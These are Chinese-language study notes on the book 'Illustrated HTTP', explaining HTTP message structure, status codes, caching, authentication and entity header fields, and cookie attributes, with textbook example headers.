图解HTTP学习笔记

HTTP 协议和 TCP/IP 协议族内的其他众多的协议相同, 用于客户端和服务器之间的通信。

简单的HTTP协议

HTTP报文格式

HTTP请求头
下面则是从客户端发送给某个 HTTP 服务器端的请求报文中的内容。

GET /index.html HTTP/1.1
Host: www.baidu.com

请求报文是由请求方法、 请求 URI、 协议版本、 可选的请求首部字段和内容实体构成的。

HTTP响应头

HTTP/1.1 200 OK
Date: Tue, 10 Jul 2012 06:50:15 GMT
Content-Length: 362
Content-Type: text/html
<html>
……

响应报文基本上由协议版本、 状态码( 表示请求成功或失败的数字代码) 、 用以解释状态码的原因短语、 可选的响应首部字段以及实体主体构成。

HTTP协议不保存状态

HTTP是一种不保存状态, 即无状态( stateless) 协议。 HTTP 协议自身不对请求和响应之间的通信状态进行保存。 也就是说在 HTTP 这个级别, 协议对于发送过的请求或响应都不做持久化处理。

HTTP一些方法

GET/POST/PUT/HEAD/DELETE/OPTIONS/TRACE/CONNECT 等。

持久连接节省通信量

持久连接的好处在于减少了 TCP 连接的重复建立和断开所造成的额外开销, 减轻了服务器端的负载。 另外, 减少开销的那部分时间, 使HTTP 请求和响应能够更早地结束, 这样 Web 页面的显示速度也就相应提高了。
在 HTTP/1.1 中, 所有的连接默认都是持久连接, 但在 HTTP/1.0 内并未标准化。 虽然有一部分服务器通过非标准的手段实现了持久连接,但服务器端不一定能够支持持久连接。 毫无疑问, 除了服务器端, 客户端也需要支持持久连接。
持久连接使得多数请求以管线化(pipelining)方式发送成为可能。 从前发送请求后需等待并收到响应, 才能发送下一个请求。 管线化技术出现后, 不用等待响应亦可直接发送下一个请求。这样就能够做到同时并行发送多个请求, 而不需要一个接一个地等待响应了。

Cookie会根据从服务器端发送的响应报文内的一个叫做 Set-Cookie 的首部字段信息, 通知客户端保存 Cookie。 当下次客户端再往该服务器发送请求时, 客户端会自动在请求报文中加入 Cookie 值后发送出去。
服务器端发现客户端发送过来的 Cookie 后, 会去检查究竟是从哪一个客户端发来的连接请求, 然后对比服务器上的记录, 最后得到之前的状态信息。

HTTP报文内的HTTP信息

用于HTTP协议交互的信息被称为HTTP报文。请求端(客户端)的HTTP报文叫做请求报文,响应端(服务器端)的叫做响应报文。HTTP报文本身是由多行(用 CR+LF 作换行符) 数据构成的字符串文本。
图解HTTP学习笔记_第1张图片

编码提升传输速率

HTTP在传输数据时可以按照数据原貌直接传输, 但也可以在传输过程中通过编码提升传输速率。 通过在传输时编码, 能有效地处理大量的访问请求。 但是, 编码的操作需要计算机来完成, 因此会消耗更多的 CPU 等资源。
报文(message)是HTTP通信中的基本单位,由 8 位组字节流(octet sequence,其中 octet 为 8 个比特)组成,通过HTTP通信传输。
实体(entity)作为请求或响应的有效载荷数据(补充项)被传输,其内容由实体首部和实体主体组成。

压缩传输的内容编码

内容编码指明应用在实体内容上的编码格式,并保持实体信息原样压缩。内容编码后的实体由客户端接收并负责解码。
常用的内容编码有以下几种。
- gzip( GNU zip)
- compress( UNIX 系统的标准压缩)
- deflate( zlib)
- identity( 不进行编码)

分割发送的分块传输编码

在HTTP通信过程中,请求的编码实体资源尚未全部传输完成之前,浏览器无法显示请求页面。在传输大容量数据时,通过把数据分割成多块,能够让浏览器逐步显示页面。这种把实体主体分块的功能称为分块传输编码( Chunked TransferCoding) 。
分块传输编码会将实体主体分成多个部分(块)。每一块都会用十六进制来标记块的大小,而实体主体的最后一块会使用“0(CR+LF)”来标记。
使用分块传输编码的实体主体会由接收的客户端负责解码,恢复到编码前的实体主体。

发送多种数据的多部分对象集合

HTTP协议中也采纳了多部分对象集合,发送的一份报文主体内可含有多类型实体。 通常是在图片或文本文件等上传时使用。
图解HTTP学习笔记_第2张图片
在HTTP报文中使用多部分对象集合时,需要在首部字段里加上Content-type。
使用boundary字符串来划分多部分对象集合指明的各类实体。在boundary 字符串指定的各个实体的起始行之前插入“–”标记。

返回结果的HTTP状态码

- 类别 原因短语
1XX Informational( 信息性状态码) 接收的请求正在处理
2XX Success( 成功状态码) 请求正常处理完毕
3XX Redirection( 重定向状态码) 需要进行附加操作以完成请求
4XX Client Error( 客户端错误状态码) 服务器无法处理请求
5XX Server Error( 服务器错误状态码) 服务器处理请求出错

200OK

表示从客户端发来的请求在服务器端被正常处理了。
在响应报文内,随状态码一起返回的信息会因方法的不同而发生改变。比如,使用 GET 方法时,对应请求资源的实体会作为响应返回;而使用 HEAD 方法时,对应请求资源的实体首部不随报文主体作为响应返回(即在响应中只返回首部,不会返回实体的主体部分)。

204 No Content

该状态码代表服务器接收的请求已成功处理,但在返回的响应报文中不含实体的主体部分。另外,也不允许返回任何实体的主体。比如,当从浏览器发出请求处理后,返回 204 响应,那么浏览器显示的页面不发生更新。
一般在只需要从客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。

206 Partial Content

该状态码表示客户端进行了范围请求, 而服务器成功执行了这部分的GET 请求。 响应报文中包含由 Content-Range 指定范围的实体内容。

301 Moved Permanently

永久性重定向。该状态码表示请求的资源已被分配了新的 URI,以后应使用资源现在所指的 URI。也就是说,如果已经把资源对应的 URI保存为书签了,这时应该按 Location 首部字段提示的 URI 重新保存。

302 Found

临时性重定向。 该状态码表示请求的资源已被分配了新的 URI, 希望用户( 本次) 能使用新的 URI 访问。
和 301 Moved Permanently 状态码相似, 但 302 状态码代表的资源不是被永久移动, 只是临时性质的。 换句话说, 已移动的资源对应的URI 将来还有可能发生改变。 比如, 用户把 URI 保存成书签, 但不会像 301 状态码出现时那样去更新书签, 而是仍旧保留返回 302 状态码的页面对应的 URI。

303 See Other

该状态码表示由于请求对应的资源存在着另一个 URI, 应使用 GET方法定向获取请求的资源。303 状态码和 302 Found 状态码有着相同的功能, 但 303 状态码明确表示客户端应当采用 GET 方法获取资源, 这点与 302 状态码有区别。

304 Not Modified

该状态码表示客户端发送附带条件的请求 2 时, 服务器端允许请求访问资源, 但未满足条件的情况。 304 状态码返回时, 不包含任何响应的主体部分。 304 虽然被划分在 3XX 类别中, 但是和重定向没有关系。附带条件的请求是指采用GET方法的请求报文中包含 If-Match, If-ModifiedSince, If-None-Match, If-Range, If-Unmodified-Since 中任一首部。

307 Temporary Redirect

临时重定向。 该状态码与 302 Found 有着相同的含义。 尽管 302 标准禁止 POST 变换成 GET, 但实际使用时大家并不遵守。307 会遵照浏览器标准, 不会从 POST 变成 GET。 但是, 对于处理响应时的行为, 每种浏览器有可能出现不同的情况。

400 Bad Request

该状态码表示请求报文中存在语法错误。 当错误发生时, 需修改请求的内容后再次发送请求。 另外, 浏览器会像 200 OK 一样对待该状态码。

401 Unauthorized

该状态码表示发送的请求需要有通过 HTTP 认证( BASIC 认证、DIGEST 认证) 的认证信息。 另外若之前已进行过 1 次请求, 则表示用 户认证失败。
返回含有 401 的响应必须包含一个适用于被请求资源的 WWWAuthenticate 首部用以质询( challenge) 用户信息。 当浏览器初次接收到 401 响应, 会弹出认证用的对话窗口。

403 Forbidden

该状态码表明对请求资源的访问被服务器拒绝了。 服务器端没有必要给出拒绝的详细理由, 但如果想作说明的话, 可以在实体的主体部分对原因进行描述, 这样就能让用户看到了。未获得文件系统的访问授权, 访问权限出现某些问题( 从未授权的发送源 IP 地址试图访问) 等列举的情况都可能是发生 403 的原因。

404 Not Found

该状态码表明服务器上无法找到请求的资源。 除此之外, 也可以在服务器端拒绝请求且不想说明理由时使用。

500 Internal Server Error

该状态码表明服务器端在执行请求时发生了错误。 也有可能是 Web 应用存在的 bug 或某些临时的故障。

503 Service Unavailable

该状态码表明服务器暂时处于超负载或正在进行停机维护, 现在无法处理请求。 如果事先得知解除以上状况需要的时间, 最好写入RetryAfter 首部字段再返回给客户端。

HTTP首部

通用首部字段

Cache-Control

通过指定首部字段 Cache-Control 的指令, 就能操作缓存的工作机制。
public
Cache-Control: public
当指定使用 public 指令时, 则明确表明其他用户也可利用缓存。
private
Cache-Control: private
当指定 private 指令后, 响应只以特定的用户作为对象, 这与 public 指令的行为相反。缓存服务器会对该特定用户提供资源缓存的服务, 对于其他用户发送过来的请求, 代理服务器则不会返回缓存。
no-cache
Cache-Control: no-cache
使用 no-cache 指令的目的是为了防止从缓存中返回过期的资源。
客户端发送的请求中如果包含 no-cache 指令, 则表示客户端将不会接收缓存过的响应。 于是, “中间”的缓存服务器必须把客户端请求转发给源服务器。
如果服务器返回的响应中包含 no-cache 指令, 那么缓存服务器不能对资源进行缓存。 源服务器以后也将不再对缓存服务器请求中提出的资源有效性进行确认, 且禁止其对响应资源进行缓存操作。
no-store
Cache-Control: no-store
当使用 no-store 指令时, 暗示请求( 和对应的响应) 或响应中包含机密信息。从字面意思上很容易把 no-cache 误解成为不缓存, 但事实上 no-cache 代表不缓存过期的资源, 缓存会向源服务器进行有效期确认后处理资源, 也许称为 do-notserve-from-cache-without-revalidation 更合适。 no-store 才是真正地不进行缓存。
因此, 该指令规定缓存不能在本地存储请求或响应的任一部分。
s-maxage
Cache-Control: s-maxage=604800( 单位 : 秒)
s-maxage 指令的功能和 max-age 指令的相同, 它们的不同点是 smaxage 指令只适用于供多位用户使用的公共缓存服务器 (一般指代理)。 也就是说, 对于向同一用户重复返回响应的服务器来说, 这个指令没有任何作用。
max-age
Cache-Control: max-age=604800( 单位: 秒)
当客户端发送的请求中包含 max-age 指令时, 如果判定缓存资源的缓存时间数值比指定时间的数值更小, 那么客户端就接收缓存的资源。另外, 当指定 max-age 值为 0, 那么缓存服务器通常需要将请求转发给源服务器。
当服务器返回的响应中包含 max-age 指令时, 缓存服务器将不对资源的有效性再作确认, 而 max-age 数值代表资源保存为缓存的最长时间。
min-fresh
Cache-Control: min-fresh=60( 单位: 秒)
min-fresh 指令要求缓存服务器返回至少还未过指定时间的缓存资源。比如, 当指定 min-fresh 为 60 秒后, 过了 60 秒的资源都无法作为响应返回了。
max-stale
Cache-Control: max-stale=3600( 单位: 秒)
使用 max-stale 可指示缓存资源, 即使过期也照常接收。如果指令未指定参数值, 那么无论经过多久, 客户端都会接收响应;如果指令中指定了具体数值, 那么即使过期, 只要仍处于 max-stale指定的时间内, 仍旧会被客户端接收。
only-if-cached
Cache-Control: only-if-cached
使用 only-if-cached 指令表示客户端仅在缓存服务器本地缓存目标资源的情况下才会要求其返回。 换言之, 该指令要求缓存服务器不重新加载响应, 也不会再次确认资源有效性。 若发生请求缓存服务器的本地缓存无响应, 则返回状态码 504 Gateway Timeout。
must-revalidate
Cache-Control: must-revalidate
使用 must-revalidate 指令, 代理会向源服务器再次验证即将返回的响应缓存目前是否仍然有效。
若代理无法连通源服务器再次获取有效资源的话, 缓存必须给客户端一条 504( Gateway Timeout) 状态码。另外, 使用 must-revalidate 指令会忽略请求的 max-stale 指令( 即使已经在首部使用了 max-stale, 也不会再有效果) 。
proxy-revalidate
Cache-Control: proxy-revalidate
proxy-revalidate 指令要求所有的缓存服务器在接收到客户端带有该指令的请求返回响应之前, 必须再次验证缓存的有效性。
no-transform
Cache-Control: no-transform
使用 no-transform 指令规定无论是在请求还是响应中, 缓存都不能改变实体主体的媒体类型。这样做可防止缓存或代理压缩图片等类似操作。

Connection

Connection 首部字段具备如下两个作用。
控制不再转发给代理的首部字段:
Connection: 不再转发的首部字段名
在客户端发送请求和服务器返回响应内, 使用 Connection 首部字段, 可控制不再转发给代理的首部字段( 即 Hop-by-hop 首部) 。
管理持久连接:
Connection: close
HTTP/1.1 版本的默认连接都是持久连接 Connection: Keep-Alive。 为此, 客户端会在持久连接上连续发送请求。 当服务器端想明确断开连接时, 则指定Connection 首部字段的值为 Close。

Date

首部字段 Date 表明创建 HTTP 报文的日期和时间。
HTTP/1.1 协议使用在 RFC1123 中规定的日期时间的格式, 如下示例。

Date: Tue, 03 Jul 2012 04:40:59 GMT

Pragma

Pragma: no-cache
该首部字段属于通用首部字段, 但只用在客户端发送的请求中。 客户端会要求所有的中间服务器不返回缓存的资源。
所有的中间服务器如果都能以 HTTP/1.1 为基准, 那直接采用 CacheControl: no-cache 指定缓存的处理方式是最为理想的。 但要整体掌握全部中间服务器使用的 HTTP 协议版本却是不现实的。 因此, 发送的请求会同时含有下面两个首部字段。

Cache-Control: no-cache
Pragma: no-cache

Trailer

首部字段 Trailer 会事先说明在报文主体后记录了哪些首部字段。 该首部字段可应用在 HTTP/1.1 版本分块传输编码时。

HTTP/1.1 200 OK
Date: Tue, 03 Jul 2012 04:40:56 GMT
Content-Type: text/html
...
Transfer-Encoding: chunked
Trailer: Expires
...(报文主体)...
0
Expires: Tue, 28 Sep 2004 23:59:59 GMT

以上用例中, 指定首部字段 Trailer 的值为 Expires, 在报文主体之后( 分块长度 0 之后) 出现了首部字段 Expires。

Transfer-Encoding

Transfer-Encoding: chunked
首部字段 Transfer-Encoding 规定了传输报文主体时采用的编码方式。HTTP/1.1 的传输编码方式仅对分块传输编码有效。

Upgrade

首部字段 Upgrade 用于检测 HTTP 协议及其他协议是否可使用更高的版本进行通信, 其参数值可以用来指定一个完全不同的通信协议。

Via

使用首部字段 Via 是为了追踪客户端与服务器之间的请求和响应报文的传输路径。
报文经过代理或网关时, 会先在首部字段 Via 中附加该服务器的信息, 然后再进行转发。 这个做法和 traceroute 及电子邮件的 Received首部的工作机制很类似。
首部字段 Via 不仅用于追踪报文的转发, 还可避免请求回环的发生。所以必须在经过代理时附加该首部字段内容。

Warning

HTTP/1.1 的 Warning 首部是从 HTTP/1.0 的响应首部( Retry-After) 演变过来的。 该首部通常会告知用户一些与缓存相关的问题的警告。

Warning: [警告码][警告的主机:端口号]“[警告内容]”([日期时间])

请求首部字段

请求首部字段是从客户端往服务器端发送请求报文中所使用的字段,用于补充请求的附加信息、 客户端信息、 对响应内容相关的优先级等内容。

Accept

Accept 首部字段可通知服务器, 用户代理能够处理的媒体类型及媒体类型的相对优先级。 可使用 type/subtype 这种形式, 一次指定多种媒体类型。

Accept: text/html,application/xhtml+xml,application/xml;q=0.3
  • 文本文件
    text/html, text/plain, text/css …
    application/xhtml+xml, application/xml …
  • 图片文件
    image/jpeg, image/gif, image/png …
  • 视频文件
    video/mpeg, video/quicktime …
  • 应用程序使用的二进制文件
    application/octet-stream, application/zip …
    若想要给显示的媒体类型增加优先级, 则使用 q= 来额外表示权重值, 用分号( ;) 进行分隔。 权重值 q 的范围是 0~1( 可精确到小数点后 3 位) , 且 1 为最大值。 不指定权重 q 值时, 默认权重为 q=1.0。

Accept-Charset

Accept-Charset 首部字段可用来通知服务器用户代理支持的字符集及字符集的相对优先顺序。 另外, 可一次性指定多种字符集。 与首部字段 Accept 相同的是可用权重 q 值来表示相对优先级。该首部字段应用于内容协商机制的服务器驱动协商。

Accept-Charset: iso-8859-5, unicode-1-1;q=0.8

Accept-Encoding

Accept-Encoding 首部字段用来告知服务器用户代理支持的内容编码及内容编码的优先级顺序。 可一次性指定多种内容编码。

Accept-Encoding: gzip, deflate
  • gzip
    由文件压缩程序 gzip( GNU zip) 生成的编码格式( RFC1952) , 采用 Lempel-Ziv 算法( LZ77) 及 32 位循环冗余校验( Cyclic Redundancy Check, 通称 CRC) 。
  • compress
    由 UNIX 文件压缩程序 compress 生成的编码格式, 采用 LempelZiv-Welch 算法( LZW) 。
  • deflate
    组合使用 zlib 格式( RFC1950) 及由 deflate 压缩算法( RFC1951) 生成的编码格式。
  • identity
    不执行压缩或不会变化的默认编码格式
    采用权重 q 值来表示相对优先级, 这点与首部字段 Accept 相同。 另外, 也可使用星号( *) 作为通配符, 指定任意的编码格式。

Accept-Language

Accept-Language: zh-cn,zh;q=0.7,en-us,en;q=0.3

首部字段 Accept-Language 用来告知服务器用户代理能够处理的自然语言集( 指中文或英文等) , 以及自然语言集的相对优先级。 可一次指定多种自然语言集。和 Accept 首部字段一样, 按权重值 q 来表示相对优先级。

Authorization

首部字段 Authorization 是用来告知服务器, 用户代理的认证信息( 证书值) 。 通常, 想要通过服务器认证的用户代理会在接收到返回的401 状态码响应后, 把首部字段 Authorization 加入请求中。 共用缓存在接收到含有 Authorization 首部字段的请求时的操作处理会略有差异。

Authorization: Basic dWVub3NlbjpwYXNzd29yZA==

Expect

Expect: 100-continue

客户端使用首部字段 Expect 来告知服务器, 期望出现的某种特定行为。 因服务器无法理解客户端的期望作出回应而发生错误时, 会返回状态码 417 Expectation Failed。
客户端可以利用该首部字段, 写明所期望的扩展。 虽然 HTTP/1.1 规范只定义了 100-continue( 状态码 100 Continue 之意) 。等待状态码 100 响应的客户端在发生请求时, 需要指定 Expect:100-continue。

From

首部字段 From 用来告知服务器使用用户代理的用户的电子邮件地址。 通常, 其使用目的就是为了显示搜索引擎等用户代理的负责人的电子邮件联系方式。 使用代理时, 应尽可能包含 From 首部字段( 但可能会因代理不同, 将电子邮件地址记录在 User-Agent 首部字段内) 。

Host

Host: www.hackr.jp

首部字段 Host 会告知服务器, 请求的资源所处的互联网主机名和端口号。 Host 首部字段在 HTTP/1.1 规范内是唯一一个必须被包含在请求内的首部字段。

If-Match

首部字段 If-Match, 属附带条件之一, 它会告知服务器匹配资源所用的实体标记( ETag) 值。 这时的服务器无法使用弱 ETag 值。服务器会比对 If-Match 的字段值和资源的 ETag 值, 仅当两者一致时, 才会执行请求。 反之, 则返回状态码 412 Precondition Failed 的响应。还可以使用星号( *) 指定 If-Match 的字段值。 针对这种情况, 服务器将会忽略 ETag 的值, 只要资源存在就处理请求。

If-Modified-Since

首部字段 If-Modified-Since, 属附带条件之一, 它会告知服务器若 IfModified-Since 字段值早于资源的更新时间, 则希望能处理该请求。而在指定 If-Modified-Since 字段值的日期时间之后, 如果请求的资源都没有过更新, 则返回状态码 304 Not Modified 的响应。If-Modified-Since 用于确认代理或客户端拥有的本地资源的有效性。获取资源的更新日期时间, 可通过确认首部字段 Last-Modified 来确定。

If-Modified-Since: Thu, 15 Apr 2004 00:00:00 GMT

If-None-Match

只有在 If-None-Match 的字段值与 ETag 值不一致时, 可处理该请求。 与 If-Match 首部字段的作用相反首部字段 If-None-Match 属于附带条件之一。 它和首部字段 If-Match作用相反。 用于指定 If-None-Match 字段值的实体标记( ETag) 值与
请求资源的 ETag 不一致时, 它就告知服务器处理该请求。在 GET 或 HEAD 方法中使用首部字段 If-None-Match 可获取最新的资源。 因此, 这与使用首部字段 If-Modified-Since 时有些类似。

If-Range

首部字段 If-Range 属于附带条件之一。 它告知服务器若指定的 IfRange 字段值( ETag 值或者时间) 和请求资源的 ETag 值或时间相一致时, 则作为范围请求处理。 反之, 则返回全体资源。
不使用首部字段 If-Range 发送请求,服务器端的资源如果更新, 那客户端持有资源中的一部分也会随之无效, 当然, 范围请求作为前提是无效的。 这时, 服务器会暂且以状态码 412 Precondition Failed 作为响应返回, 其目的是催促客户端再次发送请求。 这样一来, 与使用首部字段 If-Range 比起来, 就需要花费两倍的功夫。

If-Unmodified-Since

首部字段 If-Unmodified-Since 和首部字段 If-Modified-Since 的作用相反。 它的作用的是告知服务器, 指定的请求资源只有在字段值内指定的日期时间之后, 未发生更新的情况下, 才能处理请求。 如果在指定日期时间后发生了更新, 则以状态码 412 Precondition Failed 作为响应返回。

If-Unmodified-Since: Thu, 03 Jul 2012 00:00:00 GMT

Max-Forwards

Max-Forwards: 10

通过 TRACE 方法或 OPTIONS 方法, 发送包含首部字段 MaxForwards 的请求时, 该字段以十进制整数形式指定可经过的服务器最大数目。 服务器在往下一个服务器转发请求之前, Max-Forwards 的值减 1 后重新赋值。 当服务器接收到 Max-Forwards 值为 0 的请求时, 则不再进行转发, 而是直接返回响应。
使用 HTTP 协议通信时, 请求可能会经过代理等多台服务器。 途中,如果代理服务器由于某些原因导致请求转发失败, 客户端也就等不到服务器返回的响应了。 对此, 我们无从可知。
可以灵活使用首部字段 Max-Forwards, 针对以上问题产生的原因展开调查。 由于当 Max-Forwards 字段值为 0 时, 服务器就会立即返回响应, 由此我们至少可以对以那台服务器为终点的传输路径的通信状况有所把握。

Proxy-Authorization

接收到从代理服务器发来的认证质询时, 客户端会发送包含首部字段 Proxy-Authorization 的请求, 以告知服务器认证所需要的信息。这个行为是与客户端和服务器之间的 HTTP 访问认证相类似的, 不同之处在于, 认证行为发生在客户端与代理之间。 客户端与服务器之间的认证, 使用首部字段 Authorization 可起到相同作用。 有关 HTTP 访问认证, 后面的章节会作详尽阐述。

Proxy-Authorization: Basic dGlwOjkpNLAGfFY5

Range

对于只需获取部分资源的范围请求, 包含首部字段 Range 即可告知服务器资源的指定范围。 上面的示例表示请求获取从第 5001 字节至第10000 字节的资源。接收到附带 Range 首部字段请求的服务器, 会在处理请求之后返回状态码为 206 Partial Content 的响应。 无法处理该范围请求时, 则会返回状态码 200 OK 的响应及全部资源。

Range: bytes=5001-10000

Referer

首部字段 Referer 会告知服务器请求的原始资源的 URI。客户端一般都会发送 Referer 首部字段给服务器。 但当直接在浏览器
的地址栏输入 URI, 或出于安全性的考虑时, 也可以不发送该首部字段。
因为原始资源的 URI 中的查询字符串可能含有 ID 和密码等保密信息, 要是写进 Referer 转发给其他服务器, 则有可能导致保密信息的泄露。
另外, Referer 的正确的拼写应该是 Referrer, 但不知为何, 大家一直沿用这个错误的拼写。

TE

TE: gzip, deflate;q=0.5

首部字段 TE 会告知服务器客户端能够处理响应的传输编码方式及相对优先级。 它和首部字段 Accept-Encoding 的功能很相像, 但是用于传输编码。
首部字段 TE 除指定传输编码之外, 还可以指定伴随 trailer 字段的分块传输编码的方式。 应用后者时, 只需把 trailers 赋值给该字段值。

TE: trailers

User-Agent

首部字段 User-Agent 会将创建请求的浏览器和用户代理名称等信息传达给服务器。
由网络爬虫发起请求时, 有可能会在字段内添加爬虫作者的电子邮件地址。 此外, 如果请求经过代理, 那么中间也很可能被添加上代理服务器的名称。

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1

响应首部字段

响应首部字段是由服务器端向客户端返回响应报文中所使用的字段,用于补充响应的附加信息、 服务器信息, 以及对客户端的附加要求等信息。

Accept-Ranges

Accept-Ranges: bytes

首部字段 Accept-Ranges 是用来告知客户端服务器是否能处理范围请求, 以指定获取服务器端某个部分的资源。
可指定的字段值有两种, 可处理范围请求时指定其为 bytes, 反之则指定其为 none。

Age

首部字段 Age 能告知客户端, 源服务器在多久前创建了响应。 字段值的单位为秒。
若创建该响应的服务器是缓存服务器, Age 值是指缓存后的响应再次发起认证到认证完成的时间值。 代理创建响应时必须加上首部字段Age。

ETag

首部字段 ETag 能告知客户端实体标识。 它是一种可将资源以字符串形式做唯一性标识的方式。 服务器会为每份资源分配对应的 ETag值。
另外, 当资源更新时, ETag 值也需要更新。 生成 ETag 值时, 并没有统一的算法规则, 而仅仅是由服务器来分配。
资源被缓存时, 就会被分配唯一性标识。 例如, 当使用中文版的浏览器访问 http://www.google.com/ 时, 就会返回中文版对应的资源, 而使用英文版的浏览器访问时, 则会返回英文版对应的资源。 两者的URI 是相同的, 所以仅凭 URI 指定缓存的资源是相当困难的。 若在下载过程中出现连接中断、 再连接的情况, 都会依照 ETag 值来指定资源。
强 ETag 值, 不论实体发生多么细微的变化都会改变其值。

ETag: "usagi-1234"

弱 ETag 值只用于提示资源是否相同。 只有资源发生了根本改变, 产生差异时才会改变 ETag 值。 这时, 会在字段值最开始处附加 W/。

ETag: W/"usagi-1234"

Location

使用首部字段 Location 可以将响应接收方引导至某个与请求 URI 位置不同的资源。
基本上, 该字段会配合 3xx : Redirection 的响应, 提供重定向的URI。几乎所有的浏览器在接收到包含首部字段 Location 的响应后, 都会强制性地尝试对已提示的重定向资源的访问。

Proxy-Authenticate

首部字段 Proxy-Authenticate 会把由代理服务器所要求的认证信息发送给客户端。
它与客户端和服务器之间的 HTTP 访问认证的行为相似, 不同之处在于其认证行为是在客户端与代理之间进行的。 而客户端与服务器之间进行认证时, 首部字段 WWW-Authorization 有着相同的作用。

Retry-After

首部字段 Retry-After 告知客户端应该在多久之后再次发送请求。 主要配合状态码 503 Service Unavailable 响应, 或 3xx Redirect 响应一起使用。
字段值可以指定为具体的日期时间( Wed, 04 Jul 2012 06: 34: 24 GMT 等格式) , 也可以是创建响应后的秒数。

Server

首部字段 Server 告知客户端当前服务器上安装的 HTTP 服务器应用程序的信息。 不单单会标出服务器上的软件应用名称, 还有可能包括版本号和安装时启用的可选项。

Vary

当代理服务器接收到带有 Vary 首部字段指定获取资源的请求时, 如果使用的 Accept-Language 字段的值相同, 那么就直接从缓存返回响应。 反之, 则需要先从源服务器端获取资源后才能作为响应返回

Vary: Accept-Language

首部字段 Vary 可对缓存进行控制。 源服务器会向代理服务器传达关于本地缓存使用方法的命令。从代理服务器接收到源服务器返回包含 Vary 指定项的响应之后, 若再要进行缓存, 仅对请求中含有相同 Vary 指定首部字段的请求返回缓存。 即使对相同资源发起请求, 但由于 Vary 指定的首部字段不相同, 因此必须要从源服务器重新获取资源。

WWW-Authenticate

WWW-Authenticate: Basic realm="Usagidesign Auth"

首部字段 WWW-Authenticate 用于 HTTP 访问认证。 它会告知客户端适用于访问请求 URI 所指定资源的认证方案( Basic 或是 Digest) 和带参数提示的质询( challenge) 。 状态码 401 Unauthorized 响应中,肯定带有首部字段 WWW-Authenticate。realm 字段的字符串是为了辨别请求 URI 指定资源所受到的保护策略。

实体首部字段

实体首部字段是包含在请求报文和响应报文中的实体部分所使用的首部, 用于补充内容的更新时间等与实体相关的信息。

Allow

首部字段 Allow 用于通知客户端能够支持 Request-URI 指定资源的所有 HTTP 方法。 当服务器接收到不支持的 HTTP 方法时, 会以状态码 405 Method Not Allowed 作为响应返回。 与此同时, 还会把所有能支持的 HTTP 方法写入首部字段 Allow 后返回。

Allow: GET, HEAD

Content-Encoding

Content-Encoding: gzip

首部字段 Content-Encoding 会告知客户端服务器对实体的主体部分选用的内容编码方式。 内容编码是指在不丢失实体信息的前提下所进行的压缩。

Content-Language

首部字段 Content-Language 会告知客户端, 实体主体使用的自然语言( 指中文或英文等语言) 。

Content-Language: zh-CN

Content-Length

Content-Length: 15000

首部字段 Content-Length 表明了实体主体部分的大小( 单位是字节) 。 对实体主体进行内容编码传输时, 不能再使用 Content-Length首部字段。

Content-Location

首部字段 Content-Location 给出与报文主体部分相对应的 URI。 和首部字段 Location 不同, Content-Location 表示的是报文主体返回资源对应的 URI。

Content-MD5

首部字段 Content-MD5 是一串由 MD5 算法生成的值, 其目的在于检查报文主体在传输过程中是否保持完整, 以及确认传输到达。对报文主体执行 MD5 算法获得的 128 位二进制数, 再通过 Base64 编码后将结果写入 Content-MD5 字段值。 由于 HTTP 首部无法记录二进制值, 所以要通过 Base64 编码处理。 为确保报文的有效性, 作为接收方的客户端会对报文主体再执行一次相同的 MD5 算法。 计算出的值与字段值作比较后, 即可判断出报文主体的准确性。
采用这种方法, 对内容上的偶发性改变是无从查证的, 也无法检测出恶意篡改。 其中一个原因在于, 内容如果能够被篡改, 那么同时意味着 Content-MD5 也可重新计算然后被篡改。 所以处在接收阶段的客户端是无法意识到报文主体以及首部字段 Content-MD5 是已经被篡改过的。

Content-Range

针对范围请求, 返回响应时使用的首部字段 Content-Range, 能告知客户端作为响应返回的实体的哪个部分符合范围请求。 字段值以字节为单位, 表示当前发送部分及整个实体大小。

Content-Range: bytes 5001-10000/10000

Content-Type

Content-Type: text/html; charset=UTF-8

首部字段 Content-Type 说明了实体主体内对象的媒体类型。 和首部字段 Accept 一样, 字段值用 type/subtype 形式赋值。

Expires

Expires: Wed, 04 Jul 2012 08:26:05 GMT

首部字段 Expires 会将资源失效的日期告知客户端。 缓存服务器在接收到含有首部字段 Expires 的响应后, 会以缓存来应答请求, 在Expires 字段值指定的时间之前, 响应的副本会一直被保存。 当超过指定的时间后, 缓存服务器在请求发送过来时, 会转向源服务器请求资源。
源服务器不希望缓存服务器对资源缓存时, 最好在 Expires 字段内写入与首部字段 Date 相同的时间值。但是, 当首部字段 Cache-Control 有指定 max-age 指令时, 比起首部字段 Expires, 会优先处理 max-age 指令。

Last-Modified

Last-Modified: Wed, 23 May 2012 09:59:55 GMT

首部字段 Last-Modified 指明资源最终修改的时间。 一般来说, 这个值就是 Request-URI 指定资源被修改的时间。 但类似使用 CGI 脚本进行动态数据处理时, 该值有可能会变成数据最终修改时的时间。

Set-Cookie: status=enable; expires=Tue, 05 Jul 2011 07:26:31 GMT; path=/; domain=.hackr.jp;

当服务器准备开始管理客户端的状态时, 会事先告知各种信息。

属性 说明
NAME=VALUE 赋予 Cookie 的名称和其值( 必需项)
expires=DATE Cookie 的有效期( 若不明确指定则默认为浏览器关闭前为止)
path=PATH 将服务器上的文件目录作为Cookie的适用对象( 若不指定则默认为文档所在的文件目录)
domain=域名 作为 Cookie 适用对象的域名 ( 若不指定则默认为创建 Cookie的服务器的域名)
Secure 仅在 HTTPS 安全通信时才会发送 Cookie
HttpOnly 加以限制, 使 Cookie 不能被 JavaScript 脚本访问

expires 属性
Cookie 的 expires 属性指定浏览器可发送 Cookie 的有效期。当省略 expires 属性时, 其有效期仅限于维持浏览器会话( Session)时间段内。 这通常限于浏览器应用程序被关闭之前。
另外, 一旦 Cookie 从服务器端发送至客户端, 服务器端就不存在可以显式删除 Cookie 的方法。 但可通过覆盖已过期的 Cookie, 实现对客户端 Cookie 的实质性删除操作。
path 属性
Cookie 的 path 属性可用于限制指定 Cookie 的发送范围的文件目录。不过另有办法可避开这项限制, 看来对其作为安全机制的效果不能抱有期待。
domain 属性
通过 Cookie 的 domain 属性指定的域名可做到与结尾匹配一致。 比如, 当指定 example.com 后, 除 example.com 以外, www.example.com或 www2.example.com 等都可以发送 Cookie。因此, 除了针对具体指定的多个域名发送 Cookie 之 外, 不指定domain 属性显得更安全。
secure 属性
Cookie 的 secure 属性用于限制 Web 页面仅在 HTTPS 安全连接时, 才可以发送 Cookie。
发送 Cookie 时, 指定 secure 属性的方法如下所示。

Set-Cookie: name=value; secure

